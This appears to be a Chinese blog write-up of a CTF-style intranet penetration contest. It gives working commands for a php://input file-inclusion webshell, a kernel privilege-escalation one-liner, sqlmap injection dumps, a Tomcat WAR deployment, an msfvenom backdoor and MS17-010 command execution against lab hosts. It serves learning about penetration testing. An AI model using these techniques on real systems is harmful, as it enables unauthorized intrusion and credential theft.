429线下赛

内网渗透

Posted by Xiaoxi on April 27, 2018

前言

429比赛是一场Web内网渗透比赛,虽然整个比赛的题目相对简单,但因以前没有玩过这样的比赛,对内网渗透也了解得不多,通过这次比赛正好学到了很多知识,在此稍微总结下。

网络拓扑

攻击者一开始只能访问第一台对外开放的Centos机器,所有内网机器需要将第一台Centos机器作为跳板才能访问。

赛后汇总下整场比赛的网络环境,如下。

选手IP

ID IP
攻击机 172.16.8.3/24

靶机列表

IP 开启端口 服务器信息
192.168.5.10 22,80,111,3306 Centos 2.6.18
192.168.6.15 21,22 Ubuntu
192.168.6.16 22,80,3306,8009,8080 Ubuntu
192.168.6.17 22,80 Ubuntu
192.168.6.200 53,80,135,445,3389,445 Windows

具体漏洞

获得跳板机

开始比赛后,选手只能访问到第一个网站(www.theyer.com,IP:192.168.5.10)。

首先,使用nmap进行检测扫描。

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-27 08:33 CST
Nmap scan report for 192.168.5.10
Host is up (0.00097s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.3 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.2.3 ((CentOS))
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.80 seconds

看到开了22,80,111,3306四个端口。这里,我直接后台开了hrydra尝试爆破了下22和3306,可惜没拿到好的结果。

然后,突然发现AWVS扫描器给了一个高危漏洞提醒,发现这个站前台竟然直接存在文件包含漏洞。于是尝试php://input直接写webshell,拿下第一个web站。

http://shop.theyer.com/index.php?page=php://input
<?php phpinfo();?>

PS: 这其实是和预期解有差别,主要原因是一开始我没怎么看前端逻辑,外加AWVS异常给力,直接给了个高危,所以很暴力,直接获得了webshell。传统解法应该是先通过第一个www站(上面文件包含是shop站,)下载到一个apk,然后逆向得到第二个站shop的url,接着通过shop站获得权限。

用蚁剑控制我们的第一台肉鸡,能拿到第一个flag。

1

要拿第二个flag则需要提权。

[centos@localhost upload]$ uname -r
2.6.18-194.el5

linux版本很老,直接搜就搜kernel 2.6.18 提权就能得到很多payload。

#!/bin/bash
printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u root

现场使用了如上进行提权,提权到root,获得第二个flag。

纵向渗透

纵向渗透首先要在第一台跳板机上架设代理。我们这里主要用shadowsocks在第一个跳板机上面架设了一个sock5代理,后续走该代理进行攻击。

不过,由于我当时环境有点问题,我另外临时架设了一个HTTP代理,进行一些简单的扫描。mproxy

通过ifconfig,可以知道第一台Centos服务器还有一个网卡,是6段的ip。

? (192.168.6.1) at 00:50:56:A6:FB:37 [ether] on eth1
? (192.168.6.15) at 00:50:56:A6:1D:B4 [ether] on eth1
? (192.168.6.16) at 00:50:56:A6:58:78 [ether] on eth1
? (192.168.6.17) at 00:50:56:A6:BD:AF [ether] on eth1
? (192.168.6.200) at 00:50:56:A6:53:3D [ether] on eth1

192.168.6.15是一台FTP服务器。

[+] 192.168.6.15:         - 192.168.6.15:22 - TCP OPEN
[+] 192.168.6.15:         - 192.168.6.15:21 - TCP OPEN

FTP服务器存在弱口令漏洞,可以通过123456登录,里面存着192.168.6.17的源码(非完全一致)。里面也有mail系统邮箱和密码的泄漏。这台服务器不存在flag,不撸下来其实问题也不大。

192.168.6.16是一个邮件系统。

3

如果撸下来前面的FTP服务器,就可以通过源码中泄漏的用户名和密码登录。此外,这个邮箱也是一个flag。

[+] 192.168.6.16:         - 192.168.6.16:22 - TCP OPEN
[+] 192.168.6.16:         - 192.168.6.16:80 - TCP OPEN
[+] 192.168.6.16:         - 192.168.6.16:3306 - TCP OPEN
[+] 192.168.6.16:         - 192.168.6.16:8009 - TCP OPEN
[+] 192.168.6.16:         - 192.168.6.16:8080 - TCP OPEN

16机器开着8080,是一个tomcat,可以通过弱口令manager登录,直接部署war包就能得到root权限,获得webshell。(http://192.168.6.16:8080/manager/html,http://192.168.6.16:8080/jsp/jsp.jsp?cmd=whoami)

拿到webshell后,可以得到一个flag。然后查看源码,查询数据库也可以得到邮件名字得到flag。此外,在这个服务器上的根目录也有一个flag。

这里很蛋疼,部署war包得到的是jsp的马,而蚁剑没办法管理jsp的马。有一个思路就是通过这个jsp,往80端口的php mail服务器写一个php的马,再通过蚁剑管理。

192.168.6.17是内网管理网站?。这里AWVS通过HTTP代理扫描了一下,又给了一个惊喜,直接给了sql盲注(http://192.168.6.17/message.php,id存在盲注)。

然后,通过socks代理直接sql注入即可。

python sqlmap.py --proxy=socks5://172.16.8.3:1088 -u "http://192.168.6.17/message.php?id=1" -D my_oa -T flag --dump
python sqlmap.py --proxy=socks5://172.16.8.3:1088 -u "http://192.168.6.17/message.php?id=1" -D my_oa -T admin --dump

Flag表中存在一个flag,这里注入出admin的密码后,反解一下。admin,37s984pass。

登录后,有一个上传点可以直接上传php马,然后获得webshell,翻一下目录也可以得到一个flag。

域渗透

最后是一台windows服务器,应该就是域控制器,通过msf可以得到这台windows存在MS17-010的洞。

[+] 192.168.6.200:        - 192.168.6.200:53 - TCP OPEN
[+] 192.168.6.200:        - 192.168.6.200:80 - TCP OPEN
[+] 192.168.6.200:        - 192.168.6.200:135 - TCP OPEN
[+] 192.168.6.200:        - 192.168.6.200:445 - TCP OPEN
[+] 192.168.6.200:        - 192.168.6.200:3389 - TCP OPEN
192.168.6.200:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)

不过,由于中间接了代理,msf的传统ms17-010一直打不成功,后面就使用ms17-010的任意代码执行攻击脚本攻击。

这里涉及到内网穿透的一些问题,赛后总结了一下,有两种方式。

第一种方式比较复杂,就是通过msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=192.168.5.10 LPORT=12345 -f elf > bind.elf生成一个后门,上传到第一台跳板机,然后得到第一台跳板机的metpreter,再通过配置route来打内网的6段服务器。

第二种就是直接使用msf的代理功能,直接设置一个代理set proxies socks5:172.16.201.1:1088即可。

不过,这两种方式都很难解决反弹shell问题,这个至今我也没想到什么好的解决方案。如果有内网渗透的大佬看到,求指导(可怜)。另外,也想问下,大家用nmap跨代理扫描时没遇到问题么?为啥今天测试的时候,各种bug。nmap自带的proxies功能貌似也不行。

没办法解决反弹的问题,我们这里需要用msf的bind tcp后门(正向后门)。

set proxies socks5:172.16.201.1:1088
use auxiliary/admin/smb/ms17_010_command
set VERBOSE 1
set DBGTRACE 1
set rhosts 192.168.6.200
set command 'net user'
set payload windows/x64/meterpreter/bind_tcp
exploit

set command "for /r C:\ %i in (*flag*) do @echo %i"

set command "type c:\\flag.txt"

c盘目录下存在一个flag,扫描读取即可。

不过,由于前面只是一个任意代码执行,所以没获得metpreter,很多操作很难做。我们这里最后是修改了域下的Administrator的密码,通过3389登录进去获得了最后一个flag。(赛后交流,有选手是通过ms17-010原生脚本直接获得meterpreter的。)

wmic computersystem get domain #查看当前域
net group "domain controllers" /domain
net group "domain admins" /domain

最后

整个比赛还学习了下mimikatz的使用方式,感觉这个东西在域渗透过程中也很有用。proxychains在代理转发过程中也有奇效,可惜在赛场上我的mac一直运行不起来。burpsuite的代理功能也很有趣,可以追踪很多流量。另外,跨代理的nmap扫描也有意思。这样的话,我们或许就可以通过一些公开的HTTP代理,内网渗透一些HTTP代理的内网,或者隐藏自己,进行扫描。tsh作为一个后门来持续反弹连接也是一个很好的解决方案。

和传统CTF的解题、AWD模式相比,有很大的差别,不过更贴近实战一些,能给我这种手残白帽党一个体验内网渗透的机会。

最后,整场比赛和小飘逸、煜博合作,还是很稳,致谢队友!

其他

MAC使用proxychains存在SIP的问题,需要手动关闭。

https://zhuanlan.zhihu.com/p/21281236

https://github.com/mrdulin/blog/issues/18